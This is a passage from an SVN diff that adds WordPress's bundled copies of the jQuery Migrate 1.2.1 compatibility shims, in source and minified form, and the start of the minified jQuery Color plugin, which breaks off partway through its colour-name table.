+			set: function( elem, value, name ) {
+				var propName;
+				if ( value === false ) {
+					// Remove boolean attributes when set to false
+					jQuery.removeAttr( elem, name );
+				} else {
+					// value is true since we know at this point it's type boolean and not false
+					// Set boolean attributes to the same name and set the DOM property
+					propName = jQuery.propFix[ name ] || name;
+					if ( propName in elem ) {
+						// Only set the IDL specifically if it already exists on the element
+						elem[ propName ] = true;
+					}
+
+					elem.setAttribute( name, name.toLowerCase() );
+				}
+				return name;
+			}
+		};
+
+		// Warn only for attributes that can remain distinct from their properties post-1.9
+		if ( ruseDefault.test( lowerName ) ) {
+			migrateWarn( "jQuery.fn.attr('" + lowerName + "') may use property instead of attribute" );
+		}
+	}
+
+	return oldAttr.call( jQuery, elem, name, value );
+};
+
+// attrHooks: value
+jQuery.attrHooks.value = {
+	get: function( elem, name ) {
+		var nodeName = ( elem.nodeName || "" ).toLowerCase();
+		if ( nodeName === "button" ) {
+			return valueAttrGet.apply( this, arguments );
+		}
+		if ( nodeName !== "input" && nodeName !== "option" ) {
+			migrateWarn("jQuery.fn.attr('value') no longer gets properties");
+		}
+		return name in elem ?
+			elem.value :
+			null;
+	},
+	set: function( elem, value ) {
+		var nodeName = ( elem.nodeName || "" ).toLowerCase();
+		if ( nodeName === "button" ) {
+			return valueAttrSet.apply( this, arguments );
+		}
+		if ( nodeName !== "input" && nodeName !== "option" ) {
+			migrateWarn("jQuery.fn.attr('value', val) no longer sets properties");
+		}
+		// Does not return so that setAttribute is also used
+		elem.value = value;
+	}
+};
+
+
+var matched, browser,
+	oldInit = jQuery.fn.init,
+	oldParseJSON = jQuery.parseJSON,
+	// Note: XSS check is done below after string is trimmed
+	rquickExpr = /^([^<]*)(<[\w\W]+>)([^>]*)$/;
+
+// $(html) "looks like html" rule change
+jQuery.fn.init = function( selector, context, rootjQuery ) {
+	var match;
+
+	if ( selector && typeof selector === "string" && !jQuery.isPlainObject( context ) &&
+			(match = rquickExpr.exec( jQuery.trim( selector ) )) && match[ 0 ] ) {
+		// This is an HTML string according to the "old" rules; is it still?
+		if ( selector.charAt( 0 ) !== "<" ) {
+			migrateWarn("$(html) HTML strings must start with '<' character");
+		}
+		if ( match[ 3 ] ) {
+			migrateWarn("$(html) HTML text after last tag is ignored");
+		}
+		// Consistently reject any HTML-like string starting with a hash (#9521)
+		// Note that this may break jQuery 1.6.x code that otherwise would work.
+		if ( match[ 0 ].charAt( 0 ) === "#" ) {
+			migrateWarn("HTML string cannot start with a '#' character");
+			jQuery.error("JQMIGRATE: Invalid selector string (XSS)");
+		}
+		// Now process using loose rules; let pre-1.8 play too
+		if ( context && context.context ) {
+			// jQuery object as context; parseHTML expects a DOM object
+			context = context.context;
+		}
+		if ( jQuery.parseHTML ) {
+			return oldInit.call( this, jQuery.parseHTML( match[ 2 ], context, true ),
+					context, rootjQuery );
+		}
+	}
+	return oldInit.apply( this, arguments );
+};
+jQuery.fn.init.prototype = jQuery.fn;
+
+// Let $.parseJSON(falsy_value) return null
+jQuery.parseJSON = function( json ) {
+	if ( !json && json !== null ) {
+		migrateWarn("jQuery.parseJSON requires a valid JSON string");
+		return null;
+	}
+	return oldParseJSON.apply( this, arguments );
+};
+
+jQuery.uaMatch = function( ua ) {
+	ua = ua.toLowerCase();
+
+	var match = /(chrome)[ \/]([\w.]+)/.exec( ua ) ||
+		/(webkit)[ \/]([\w.]+)/.exec( ua ) ||
+		/(opera)(?:.*version|)[ \/]([\w.]+)/.exec( ua ) ||
+		/(msie) ([\w.]+)/.exec( ua ) ||
+		ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec( ua ) ||
+		[];
+
+	return {
+		browser: match[ 1 ] || "",
+		version: match[ 2 ] || "0"
+	};
+};
+
+// Don't clobber any existing jQuery.browser in case it's different
+if ( !jQuery.browser ) {
+	matched = jQuery.uaMatch( navigator.userAgent );
+	browser = {};
+
+	if ( matched.browser ) {
+		browser[ matched.browser ] = true;
+		browser.version = matched.version;
+	}
+
+	// Chrome is Webkit, but Webkit is also Safari.
+	if ( browser.chrome ) {
+		browser.webkit = true;
+	} else if ( browser.webkit ) {
+		browser.safari = true;
+	}
+
+	jQuery.browser = browser;
+}
+
+// Warn if the code tries to get jQuery.browser
+migrateWarnProp( jQuery, "browser", jQuery.browser, "jQuery.browser is deprecated" );
+
+jQuery.sub = function() {
+	function jQuerySub( selector, context ) {
+		return new jQuerySub.fn.init( selector, context );
+	}
+	jQuery.extend( true, jQuerySub, this );
+	jQuerySub.superclass = this;
+	jQuerySub.fn = jQuerySub.prototype = this();
+	jQuerySub.fn.constructor = jQuerySub;
+	jQuerySub.sub = this.sub;
+	jQuerySub.fn.init = function init( selector, context ) {
+		if ( context && context instanceof jQuery && !(context instanceof jQuerySub) ) {
+			context = jQuerySub( context );
+		}
+
+		return jQuery.fn.init.call( this, selector, context, rootjQuerySub );
+	};
+	jQuerySub.fn.init.prototype = jQuerySub.fn;
+	var rootjQuerySub = jQuerySub(document);
+	migrateWarn( "jQuery.sub() is deprecated" );
+	return jQuerySub;
+};
+
+
+// Ensure that $.ajax gets the new parseJSON defined in core.js
+jQuery.ajaxSetup({
+	converters: {
+		"text json": jQuery.parseJSON
+	}
+});
+
+
+var oldFnData = jQuery.fn.data;
+
+jQuery.fn.data = function( name ) {
+	var ret, evt,
+		elem = this[0];
+
+	// Handles 1.7 which has this behavior and 1.8 which doesn't
+	if ( elem && name === "events" && arguments.length === 1 ) {
+		ret = jQuery.data( elem, name );
+		evt = jQuery._data( elem, name );
+		if ( ( ret === undefined || ret === evt ) && evt !== undefined ) {
+			migrateWarn("Use of jQuery.fn.data('events') is deprecated");
+			return evt;
+		}
+	}
+	return oldFnData.apply( this, arguments );
+};
+
+
+var rscriptType = /\/(java|ecma)script/i,
+	oldSelf = jQuery.fn.andSelf || jQuery.fn.addBack;
+
+jQuery.fn.andSelf = function() {
+	migrateWarn("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()");
+	return oldSelf.apply( this, arguments );
+};
+
+// Since jQuery.clean is used internally on older versions, we only shim if it's missing
+if ( !jQuery.clean ) {
+	jQuery.clean = function( elems, context, fragment, scripts ) {
+		// Set context per 1.8 logic
+		context = context || document;
+		context = !context.nodeType && context[0] || context;
+		context = context.ownerDocument || context;
+
+		migrateWarn("jQuery.clean() is deprecated");
+
+		var i, elem, handleScript, jsTags,
+			ret = [];
+
+		jQuery.merge( ret, jQuery.buildFragment( elems, context ).childNodes );
+
+		// Complex logic lifted directly from jQuery 1.8
+		if ( fragment ) {
+			// Special handling of each script element
+			handleScript = function( elem ) {
+				// Check if we consider it executable
+				if ( !elem.type || rscriptType.test( elem.type ) ) {
+					// Detach the script and store it in the scripts array (if provided) or the fragment
+					// Return truthy to indicate that it has been handled
+					return scripts ?
+						scripts.push( elem.parentNode ? elem.parentNode.removeChild( elem ) : elem ) :
+						fragment.appendChild( elem );
+				}
+			};
+
+			for ( i = 0; (elem = ret[i]) != null; i++ ) {
+				// Check if we're done after handling an executable script
+				if ( !( jQuery.nodeName( elem, "script" ) && handleScript( elem ) ) ) {
+					// Append to fragment and handle embedded scripts
+					fragment.appendChild( elem );
+					if ( typeof elem.getElementsByTagName !== "undefined" ) {
+						// handleScript alters the DOM, so use jQuery.merge to ensure snapshot iteration
+						jsTags = jQuery.grep( jQuery.merge( [], elem.getElementsByTagName("script") ), handleScript );
+
+						// Splice the scripts into ret after their former ancestor and advance our index beyond them
+						ret.splice.apply( ret, [i + 1, 0].concat( jsTags ) );
+						i += jsTags.length;
+					}
+				}
+			}
+		}
+
+		return ret;
+	};
+}
+
+var eventAdd = jQuery.event.add,
+	eventRemove = jQuery.event.remove,
+	eventTrigger = jQuery.event.trigger,
+	oldToggle = jQuery.fn.toggle,
+	oldLive = jQuery.fn.live,
+	oldDie = jQuery.fn.die,
+	ajaxEvents = "ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",
+	rajaxEvent = new RegExp( "\\b(?:" + ajaxEvents + ")\\b" ),
+	rhoverHack = /(?:^|\s)hover(\.\S+|)\b/,
+	hoverHack = function( events ) {
+		if ( typeof( events ) !== "string" || jQuery.event.special.hover ) {
+			return events;
+		}
+		if ( rhoverHack.test( events ) ) {
+			migrateWarn("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'");
+		}
+		return events && events.replace( rhoverHack, "mouseenter$1 mouseleave$1" );
+	};
+
+// Event props removed in 1.9, put them back if needed; no practical way to warn them
+if ( jQuery.event.props && jQuery.event.props[ 0 ] !== "attrChange" ) {
+	jQuery.event.props.unshift( "attrChange", "attrName", "relatedNode", "srcElement" );
+}
+
+// Undocumented jQuery.event.handle was "deprecated" in jQuery 1.7
+if ( jQuery.event.dispatch ) {
+	migrateWarnProp( jQuery.event, "handle", jQuery.event.dispatch, "jQuery.event.handle is undocumented and deprecated" );
+}
+
+// Support for 'hover' pseudo-event and ajax event warnings
+jQuery.event.add = function( elem, types, handler, data, selector ){
+	if ( elem !== document && rajaxEvent.test( types ) ) {
+		migrateWarn( "AJAX events should be attached to document: " + types );
+	}
+	eventAdd.call( this, elem, hoverHack( types || "" ), handler, data, selector );
+};
+jQuery.event.remove = function( elem, types, handler, selector, mappedTypes ){
+	eventRemove.call( this, elem, hoverHack( types ) || "", handler, selector, mappedTypes );
+};
+
+jQuery.fn.error = function() {
+	var args = Array.prototype.slice.call( arguments, 0);
+	migrateWarn("jQuery.fn.error() is deprecated");
+	args.splice( 0, 0, "error" );
+	if ( arguments.length ) {
+		return this.bind.apply( this, args );
+	}
+	// error event should not bubble to window, although it does pre-1.7
+	this.triggerHandler.apply( this, args );
+	return this;
+};
+
+jQuery.fn.toggle = function( fn, fn2 ) {
+
+	// Don't mess with animation or css toggles
+	if ( !jQuery.isFunction( fn ) || !jQuery.isFunction( fn2 ) ) {
+		return oldToggle.apply( this, arguments );
+	}
+	migrateWarn("jQuery.fn.toggle(handler, handler...) is deprecated");
+
+	// Save reference to arguments for access in closure
+	var args = arguments,
+		guid = fn.guid || jQuery.guid++,
+		i = 0,
+		toggler = function( event ) {
+			// Figure out which function to execute
+			var lastToggle = ( jQuery._data( this, "lastToggle" + fn.guid ) || 0 ) % i;
+			jQuery._data( this, "lastToggle" + fn.guid, lastToggle + 1 );
+
+			// Make sure that clicks stop
+			event.preventDefault();
+
+			// and execute the function
+			return args[ lastToggle ].apply( this, arguments ) || false;
+		};
+
+	// link all the functions, so any of them can unbind this click handler
+	toggler.guid = guid;
+	while ( i < args.length ) {
+		args[ i++ ].guid = guid;
+	}
+
+	return this.click( toggler );
+};
+
+jQuery.fn.live = function( types, data, fn ) {
+	migrateWarn("jQuery.fn.live() is deprecated");
+	if ( oldLive ) {
+		return oldLive.apply( this, arguments );
+	}
+	jQuery( this.context ).on( types, this.selector, data, fn );
+	return this;
+};
+
+jQuery.fn.die = function( types, fn ) {
+	migrateWarn("jQuery.fn.die() is deprecated");
+	if ( oldDie ) {
+		return oldDie.apply( this, arguments );
+	}
+	jQuery( this.context ).off( types, this.selector || "**", fn );
+	return this;
+};
+
+// Turn global events into document-triggered events
+jQuery.event.trigger = function( event, data, elem, onlyHandlers  ){
+	if ( !elem && !rajaxEvent.test( event ) ) {
+		migrateWarn( "Global events are undocumented and deprecated" );
+	}
+	return eventTrigger.call( this,  event, data, elem || document, onlyHandlers  );
+};
+jQuery.each( ajaxEvents.split("|"),
+	function( _, name ) {
+		jQuery.event.special[ name ] = {
+			setup: function() {
+				var elem = this;
+
+				// The document needs no shimming; must be !== for oldIE
+				if ( elem !== document ) {
+					jQuery.event.add( document, name + "." + jQuery.guid, function() {
+						jQuery.event.trigger( name, null, elem, true );
+					});
+					jQuery._data( this, name, jQuery.guid++ );
+				}
+				return false;
+			},
+			teardown: function() {
+				if ( this !== document ) {
+					jQuery.event.remove( document, name + "." + jQuery._data( this, name ) );
+				}
+				return false;
+			}
+		};
+	}
+);
+
+
+})( jQuery, window );
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery-migrate.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery-migrate.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery-migrate.min.js	(revision 33402)
@@ -0,0 +1,2 @@
+/*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */
+jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(){return null},c=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},l=/^(?:input|button)$/i,d=/^[238]$/,p=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,f=/^(?:checked|selected)$/i;a(e,"attrFn",o||{},"jQuery.attrFn is deprecated"),e.attr=function(t,a,i,u){var c=a.toLowerCase(),g=t&&t.nodeType;return u&&(4>s.length&&r("jQuery.fn.attr( props, pass ) is deprecated"),t&&!d.test(g)&&(o?a in o:e.isFunction(e.fn[a])))?e(t)[a](i):("type"===a&&i!==n&&l.test(t.nodeName)&&t.parentNode&&r("Can't change the 'type' of an input or button in IE 6/7/8"),!e.attrHooks[c]&&p.test(c)&&(e.attrHooks[c]={get:function(t,r){var a,i=e.prop(t,r);return i===!0||"boolean"!=typeof i&&(a=t.getAttributeNode(r))&&a.nodeValue!==!1?r.toLowerCase():n},set:function(t,n,r){var a;return n===!1?e.removeAttr(t,r):(a=e.propFix[r]||r,a in t&&(t[a]=!0),t.setAttribute(r,r.toLowerCase())),r}},f.test(c)&&r("jQuery.fn.attr('"+c+"') may use property instead of attribute")),s.call(e,t,a,i))},e.attrHooks.value={get:function(e,t){var n=(e.nodeName||"").toLowerCase();return"button"===n?u.apply(this,arguments):("input"!==n&&"option"!==n&&r("jQuery.fn.attr('value') no longer gets properties"),t in e?e.value:null)},set:function(e,t){var a=(e.nodeName||"").toLowerCase();return"button"===a?c.apply(this,arguments):("input"!==a&&"option"!==a&&r("jQuery.fn.attr('value', val) no longer sets properties"),e.value=t,n)}};var g,h,v=e.fn.init,m=e.parseJSON,y=/^([^<]*)(<[\w\W]+>)([^>]*)$/;e.fn.init=function(t,n,a){var i;return t&&"string"==typeof t&&!e.isPlainObject(n)&&(i=y.exec(e.trim(t)))&&i[0]&&("<"!==t.charAt(0)&&r("$(html) HTML strings must start with '<' character"),i[3]&&r("$(html) HTML text after last tag is ignored"),"#"===i[0].charAt(0)&&(r("HTML string cannot start with a '#' character"),e.error("JQMIGRATE: Invalid selector string (XSS)")),n&&n.context&&(n=n.context),e.parseHTML)?v.call(this,e.parseHTML(i[2],n,!0),n,a):v.apply(this,arguments)},e.fn.init.prototype=e.fn,e.parseJSON=function(e){return e||null===e?m.apply(this,arguments):(r("jQuery.parseJSON requires a valid JSON string"),null)},e.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ \/]([\w.]+)/.exec(e)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e)||/(msie) ([\w.]+)/.exec(e)||0>e.indexOf("compatible")&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e)||[];return{browser:t[1]||"",version:t[2]||"0"}},e.browser||(g=e.uaMatch(navigator.userAgent),h={},g.browser&&(h[g.browser]=!0,h.version=g.version),h.chrome?h.webkit=!0:h.webkit&&(h.safari=!0),e.browser=h),a(e,"browser",e.browser,"jQuery.browser is deprecated"),e.sub=function(){function t(e,n){return new t.fn.init(e,n)}e.extend(!0,t,this),t.superclass=this,t.fn=t.prototype=this(),t.fn.constructor=t,t.sub=this.sub,t.fn.init=function(r,a){return a&&a instanceof e&&!(a instanceof t)&&(a=t(a)),e.fn.init.call(this,r,a,n)},t.fn.init.prototype=t.fn;var n=t(document);return r("jQuery.sub() is deprecated"),t},e.ajaxSetup({converters:{"text json":e.parseJSON}});var b=e.fn.data;e.fn.data=function(t){var a,i,o=this[0];return!o||"events"!==t||1!==arguments.length||(a=e.data(o,t),i=e._data(o,t),a!==n&&a!==i||i===n)?b.apply(this,arguments):(r("Use of jQuery.fn.data('events') is deprecated"),i)};var j=/\/(java|ecma)script/i,w=e.fn.andSelf||e.fn.addBack;e.fn.andSelf=function(){return r("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()"),w.apply(this,arguments)},e.clean||(e.clean=function(t,a,i,o){a=a||document,a=!a.nodeType&&a[0]||a,a=a.ownerDocument||a,r("jQuery.clean() is deprecated");var s,u,c,l,d=[];if(e.merge(d,e.buildFragment(t,a).childNodes),i)for(c=function(e){return!e.type||j.test(e.type)?o?o.push(e.parentNode?e.parentNode.removeChild(e):e):i.appendChild(e):n},s=0;null!=(u=d[s]);s++)e.nodeName(u,"script")&&c(u)||(i.appendChild(u),u.getElementsByTagName!==n&&(l=e.grep(e.merge([],u.getElementsByTagName("script")),c),d.splice.apply(d,[s+1,0].concat(l)),s+=l.length));return d});var Q=e.event.add,x=e.event.remove,k=e.event.trigger,N=e.fn.toggle,T=e.fn.live,M=e.fn.die,S="ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",C=RegExp("\\b(?:"+S+")\\b"),H=/(?:^|\s)hover(\.\S+|)\b/,A=function(t){return"string"!=typeof t||e.event.special.hover?t:(H.test(t)&&r("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'"),t&&t.replace(H,"mouseenter$1 mouseleave$1"))};e.event.props&&"attrChange"!==e.event.props[0]&&e.event.props.unshift("attrChange","attrName","relatedNode","srcElement"),e.event.dispatch&&a(e.event,"handle",e.event.dispatch,"jQuery.event.handle is undocumented and deprecated"),e.event.add=function(e,t,n,a,i){e!==document&&C.test(t)&&r("AJAX events should be attached to document: "+t),Q.call(this,e,A(t||""),n,a,i)},e.event.remove=function(e,t,n,r,a){x.call(this,e,A(t)||"",n,r,a)},e.fn.error=function(){var e=Array.prototype.slice.call(arguments,0);return r("jQuery.fn.error() is deprecated"),e.splice(0,0,"error"),arguments.length?this.bind.apply(this,e):(this.triggerHandler.apply(this,e),this)},e.fn.toggle=function(t,n){if(!e.isFunction(t)||!e.isFunction(n))return N.apply(this,arguments);r("jQuery.fn.toggle(handler, handler...) is deprecated");var a=arguments,i=t.guid||e.guid++,o=0,s=function(n){var r=(e._data(this,"lastToggle"+t.guid)||0)%o;return e._data(this,"lastToggle"+t.guid,r+1),n.preventDefault(),a[r].apply(this,arguments)||!1};for(s.guid=i;a.length>o;)a[o++].guid=i;return this.click(s)},e.fn.live=function(t,n,a){return r("jQuery.fn.live() is deprecated"),T?T.apply(this,arguments):(e(this.context).on(t,this.selector,n,a),this)},e.fn.die=function(t,n){return r("jQuery.fn.die() is deprecated"),M?M.apply(this,arguments):(e(this.context).off(t,this.selector||"**",n),this)},e.event.trigger=function(e,t,n,a){return n||C.test(e)||r("Global events are undocumented and deprecated"),k.call(this,e,t,n||document,a)},e.each(S.split("|"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add(document,n+"."+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!1},teardown:function(){return this!==document&&e.event.remove(document,n+"."+e._data(this,n)),!1}}})}(jQuery,window);
Index: /tags/4.1.6/src/wp-includes/js/jquery/jquery.color.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/jquery.color.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/jquery.color.min.js	(revision 33402)
@@ -0,0 +1,2 @@
+/*! jQuery Color v@2.1.1 with SVG Color Names http://github.com/jquery/jquery-color | jquery.org/license */
+(function(a,b){function m(a,b,c){var d=h[b.type]||{};return a==null?c||!b.def?null:b.def:(a=d.floor?~~a:parseFloat(a),isNaN(a)?b.def:d.mod?(a+d.mod)%d.mod:0>a?0:d.max<a?d.max:a)}function n(b){var c=f(),d=c._rgba=[];return b=b.toLowerCase(),l(e,function(a,e){var f,h=e.re.exec(b),i=h&&e.parse(h),j=e.space||"rgba";if(i)return f=c[j](i),c[g[j].cache]=f[g[j].cache],d=c._rgba=f._rgba,!1}),d.length?(d.join()==="0,0,0,0"&&a.extend(d,k.transparent),c):k[b]}function o(a,b,c){return c=(c+1)%1,c*6<1?a+(b-a)*c*6:c*2<1?b:c*3<2?a+(b-a)*(2/3-c)*6:a}var c="backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor",d=/^([\-+])=\s*(\d+\.?\d*)/,e=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(a){return[a[1],a[2],a[3],a[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(a){return[a[1]*2.55,a[2]*2.55,a[3]*2.55,a[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,parse:function(a){return[parseInt(a[1],16),parseInt(a[2],16),parseInt(a[3],16)]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])/,parse:function(a){return[parseInt(a[1]+a[1],16),parseInt(a[2]+a[2],16),parseInt(a[3]+a[3],16)]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(a){return[a[1],a[2]/100,a[3]/100,a[4]]}}],f=a.Color=function(b,c,d,e){return new a.Color.fn.parse(b,c,d,e)},g={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},h={"byte":{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},i=f.support={},j=a("<p>")[0],k,l=a.each;j.style.cssText="background-color:rgba(1,1,1,.5)",i.rgba=j.style.backgroundColor.indexOf("rgba")>-1,l(g,function(a,b){b.cache="_"+a,b.props.alpha={idx:3,type:"percent",def:1}}),f.fn=a.extend(f.prototype,{parse:function(c,d,e,h){if(c===b)return this._rgba=[null,null,null,null],this;if(c.jquery||c.nodeType)c=a(c).css(d),d=b;var i=this,j=a.type(c),o=this._rgba=[];d!==b&&(c=[c,d,e,h],j="array");if(j==="string")return this.parse(n(c)||k._default);if(j==="array")return l(g.rgba.props,function(a,b){o[b.idx]=m(c[b.idx],b)}),this;if(j==="object")return c instanceof f?l(g,function(a,b){c[b.cache]&&(i[b.cache]=c[b.cache].slice())}):l(g,function(b,d){var e=d.cache;l(d.props,function(a,b){if(!i[e]&&d.to){if(a==="alpha"||c[a]==null)return;i[e]=d.to(i._rgba)}i[e][b.idx]=m(c[a],b,!0)}),i[e]&&a.inArray(null,i[e].slice(0,3))<0&&(i[e][3]=1,d.from&&(i._rgba=d.from(i[e])))}),this},is:function(a){var b=f(a),c=!0,d=this;return l(g,function(a,e){var f,g=b[e.cache];return g&&(f=d[e.cache]||e.to&&e.to(d._rgba)||[],l(e.props,function(a,b){if(g[b.idx]!=null)return c=g[b.idx]===f[b.idx],c})),c}),c},_space:function(){var a=[],b=this;return l(g,function(c,d){b[d.cache]&&a.push(c)}),a.pop()},transition:function(a,b){var c=f(a),d=c._space(),e=g[d],i=this.alpha()===0?f("transparent"):this,j=i[e.cache]||e.to(i._rgba),k=j.slice();return c=c[e.cache],l(e.props,function(a,d){var e=d.idx,f=j[e],g=c[e],i=h[d.type]||{};if(g===null)return;f===null?k[e]=g:(i.mod&&(g-f>i.mod/2?f+=i.mod:f-g>i.mod/2&&(f-=i.mod)),k[e]=m((g-f)*b+f,d))}),this[d](k)},blend:function(b){if(this._rgba[3]===1)return this;var c=this._rgba.slice(),d=c.pop(),e=f(b)._rgba;return f(a.map(c,function(a,b){return(1-d)*e[b]+d*a}))},toRgbaString:function(){var b="rgba(",c=a.map(this._rgba,function(a,b){return a==null?b>2?1:0:a});return c[3]===1&&(c.pop(),b="rgb("),b+c.join()+")"},toHslaString:function(){var b="hsla(",c=a.map(this.hsla(),function(a,b){return a==null&&(a=b>2?1:0),b&&b<3&&(a=Math.round(a*100)+"%"),a});return c[3]===1&&(c.pop(),b="hsl("),b+c.join()+")"},toHexString:function(b){var c=this._rgba.slice(),d=c.pop();return b&&c.push(~~(d*255)),"#"+a.map(c,function(a){return a=(a||0).toString(16),a.length===1?"0"+a:a}).join("")},toString:function(){return this._rgba[3]===0?"transparent":this.toRgbaString()}}),f.fn.parse.prototype=f.fn,g.hsla.to=function(a){if(a[0]==null||a[1]==null||a[2]==null)return[null,null,null,a[3]];var b=a[0]/255,c=a[1]/255,d=a[2]/255,e=a[3],f=Math.max(b,c,d),g=Math.min(b,c,d),h=f-g,i=f+g,j=i*.5,k,l;return g===f?k=0:b===f?k=60*(c-d)/h+360:c===f?k=60*(d-b)/h+120:k=60*(b-c)/h+240,h===0?l=0:j<=.5?l=h/i:l=h/(2-i),[Math.round(k)%360,l,j,e==null?1:e]},g.hsla.from=function(a){if(a[0]==null||a[1]==null||a[2]==null)return[null,null,null,a[3]];var b=a[0]/360,c=a[1],d=a[2],e=a[3],f=d<=.5?d*(1+c):d+c-d*c,g=2*d-f;return[Math.round(o(g,f,b+1/3)*255),Math.round(o(g,f,b)*255),Math.round(o(g,f,b-1/3)*255),e]},l(g,function(c,e){var g=e.props,h=e.cache,i=e.to,j=e.from;f.fn[c]=function(c){i&&!this[h]&&(this[h]=i(this._rgba));if(c===b)return this[h].slice();var d,e=a.type(c),k=e==="array"||e==="object"?c:arguments,n=this[h].slice();return l(g,function(a,b){var c=k[e==="object"?a:b.idx];c==null&&(c=n[b.idx]),n[b.idx]=m(c,b)}),j?(d=f(j(n)),d[h]=n,d):f(n)},l(g,function(b,e){if(f.fn[b])return;f.fn[b]=function(f){var g=a.type(f),h=b==="alpha"?this._hsla?"hsla":"rgba":c,i=this[h](),j=i[e.idx],k;return g==="undefined"?j:(g==="function"&&(f=f.call(this,j),g=a.type(f)),f==null&&e.empty?this:(g==="string"&&(k=d.exec(f),k&&(f=j+parseFloat(k[2])*(k[1]==="+"?1:-1))),i[e.idx]=f,this[h](i)))}})}),f.hook=function(b){var c=b.split(" ");l(c,function(b,c){a.cssHooks[c]={set:function(b,d){var e,g,h="";if(a.type(d)!=="string"||(e=n(d))){d=f(e||d);if(!i.rgba&&d._rgba[3]!==1){g=c==="backgroundColor"?b.parentNode:b;while((h===""||h==="transparent")&&g&&g.style)try{h=a.css(g,"backgroundColor"),g=g.parentNode}catch(j){}d=d.blend(h&&h!=="transparent"?h:"_default")}d=d.toRgbaString()}try{b.style[c]=d}catch(j){}}},a.fx.step[c]=function(b){b.colorInit||(b.start=f(b.elem,c),b.end=f(b.end),b.colorInit=!0),a.cssHooks[c].set(b.elem,b.start.transition(b.end,b.pos))}})},f.hook(c),a.cssHooks.borderColor={expand:function(a){var b={};return l(["Top","Right","Bottom","Left"],function(c,d){b["border"+d+"Color"]=a}),b}},k=a.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"}})(jQuery),jQuery.extend(jQuery.Color.names,{aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",blanchedalmond:"#ffebcd",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",gainsboro:"#dcd